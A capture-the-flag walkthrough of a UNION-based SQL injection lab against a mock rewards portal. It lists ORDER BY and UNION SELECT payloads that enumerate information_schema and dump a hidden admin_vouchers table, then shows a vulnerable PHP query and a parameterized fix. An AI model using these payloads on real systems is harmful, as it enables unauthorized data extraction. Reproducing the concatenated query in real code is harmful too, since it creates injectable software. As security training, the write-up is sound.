Voucher Vault: Exploiting UNION-Based SQL Injection to Extract Hidden Admin Data

Platform: WebverseLabs Pro | Difficulty: Beginner–Intermediate | Category: Web Application Penetration Testing

Introduction

SQL Injection remains one of the most critical and prevalent web application vulnerabilities, consistently appearing in the OWASP Top 10. This writeup walks through exploiting a classic UNION-based SQL injection vulnerability in Voucher Vault — a challenge hosted on WebverseLabs Pro. The goal: find and extract a hidden administrative voucher from a rewards portal by exploiting unsafe user input concatenation in a search function.

Target Overview

Application: Redzone Rewards — an internal employee rewards portal Vulnerable Endpoint: /search.php?q= Vulnerability: UNION-based SQL Injection Database: MariaDB

The challenge hint explicitly states:

"Redzone Rewards — an internal employee rewards portal — exposes a voucher search that concatenates user input straight into a SELECT. Find the hidden administrative voucher."

This immediately signals unsansitized input flowing directly into a SQL query — a textbook injection point.

Phase 1: Enumeration

Login and Reconnaissance

After authenticating to the portal, the application presents a standard dashboard with four navigation items: Dashboard, Search Vouchers, Redeem, and Profile. Based on the challenge hint, the focus is on the Search Vouchers function at /search.php.

The search UI states "Partial matches work" — a strong indicator that the backend query uses a LIKE clause with user input embedded directly:

SELECT * FROM vouchers WHERE code LIKE '%$input%'

Identifying the Injection Point

Initial testing involves sending special characters to probe the backend behavior:

  • ' (single quote) — tests for single-quote string delimiter breakout
  • " (double quote) — tests for double-quote delimiter context
  • ` (backtick) — tests for identifier context injection

The application responded with 200 OK for all probes without crashing. However, sending a single quote triggered a behavioral change — confirming that the backend query uses ' as the string delimiter and that the input is not parameterized.

None
Single quote injection error

Phase 2: Exploitation

Step 1 — Determine Column Count with ORDER BY

The first step in a UNION-based attack is determining how many columns the original query returns. The ORDER BY clause is used iteratively to find the boundary:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -   ← error or change in behavior

The query broke at ORDER BY 4, confirming the original SELECT returns 3 columns.

None
Order by clause

Step 2 — Identify Reflected Columns with UNION SELECT

With 3 columns confirmed, a UNION SELECT is crafted to identify which column positions are reflected in the HTML response:

' UNION SELECT 1,2,3-- -

The response revealed which positional values (1, 2, 3) appeared in the output — identifying the columns that can be used to exfiltrate data. With the reflected positions confirmed, the database version is extracted:

' UNION SELECT version(),2,3-- -
None

Result: The backend is running MariaDB, confirmed from the version string in the response.

Step 3 — Extract the Database Name

' UNION SELECT database(),2,3-- -

This returns the current database name, scoping the attack to the correct schema for subsequent information_schema queries.

None

Step 4 — Enumerate Tables

With the database name known, all tables are dumped from information_schema.tables:

' UNION SELECT table_name,2,3 FROM information_schema.tables-- -

Among the standard application tables, one stands out immediately: admin_vouchers — a table not visible through the normal portal UI, confirming the hidden data the challenge hints at.

None
None

Step 5 — Enumerate Columns of admin_vouchers

Before extracting data, the column structure of admin_vouchers must be mapped:

' UNION SELECT column_name,2,3 FROM information_schema.columns 
WHERE table_name = 'admin_vouchers'-- -

Columns discovered:

  • id
  • code
  • value
None

Step 6 — Extract the Hidden Admin Voucher

With the table and column names in hand, the final payload extracts the full contents of admin_vouchers:

' UNION SELECT id,code,value FROM admin_vouchers-- -

Result: The hidden administrative voucher code and its value are returned directly in the search results — data that was never intended to be accessible through the application's normal flow.

None

Root Cause Analysis

The vulnerability stems from a single insecure coding pattern: string concatenation of user input into a SQL query. A vulnerable PHP implementation would look like:

// VULNERABLE — Never do this
$q = $_GET['q'];
$result = mysqli_query($conn, "SELECT image, title, code FROM vouchers WHERE code LIKE '%$q%'");

Any character in $q is passed raw to the database engine. An attacker who injects ' UNION SELECT ...-- - manipulates the query structure entirely.

Secure Fix

The correct approach uses prepared statements with parameterized queries:

// SECURE
$stmt = $conn->prepare("SELECT image, title, code FROM vouchers WHERE code LIKE ?");
$search = "%".$q."%";
$stmt->bind_param("s", $search);
$stmt->execute();

With parameterized queries, user input is always treated as data — never as SQL syntax — regardless of what characters it contains.